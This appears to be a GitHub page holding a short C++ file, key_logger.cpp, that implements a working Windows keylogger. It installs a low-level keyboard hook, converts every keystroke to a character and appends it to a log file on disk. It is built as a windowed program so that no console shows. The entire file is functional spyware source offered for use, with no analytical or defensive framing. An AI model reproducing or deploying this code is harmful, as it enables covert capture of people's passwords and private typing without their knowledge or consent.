-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathkey_logger.cpp
72 lines (60 loc) · 1.73 KB
/
key_logger.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#include<windows.h>
#include<process.h>
#include<stdio.h>
//Implements a simple keylogger without dlls.
#define WH_KEYBOARD_LL 13
#define ULONG_PTR ULONG
#pragma comment(lib,"user32.lib")
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
typedef struct {
DWORD vkCode;
DWORD scanCode;
DWORD flags;
DWORD time;
ULONG_PTR dwExtraInfo;
} KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;
HHOOK MyHook;
int CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
int log(char vkcode);
int main()
{
MyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)&KeyboardProc,GetModuleHandle(NULL),NULL);
/*while(true){
Sleep(10000);
}*/
MSG msg;
while (GetMessage (&msg, NULL, 0, 0)!=-1)
{
TranslateMessage (&msg);
DispatchMessage (&msg);
};
UnhookWindowsHookEx (MyHook);
return 0;
}
int CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
if (code >= HC_ACTION && wParam==WM_KEYDOWN)
{
DWORD vk_code = ((KBDLLHOOKSTRUCT*)lParam)->vkCode;
printf("lParam = %d code = %d HC_ACTION = %d WM_KEYDOWN=%d wParam = %d vk_code = %d\n",lParam,code,HC_ACTION,WM_KEYDOWN,wParam,vk_code);
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
ToAscii(vk_code,0,ks,&w,0);
char ch =char(w);
log(ch);
printf("%d ",vk_code);
}
return CallNextHookEx(MyHook,code,wParam,lParam);
}
int log(char vkcode){
FILE *fl;
fl=fopen("C:\\Users\\user\\log.txt","a+");
if(vkcode==13)
fwrite("\r\n",1,2,fl);
else
fwrite(&vkcode, sizeof(char), 1, fl);
//printf("write ok\n");
fclose(fl);
return 0;
}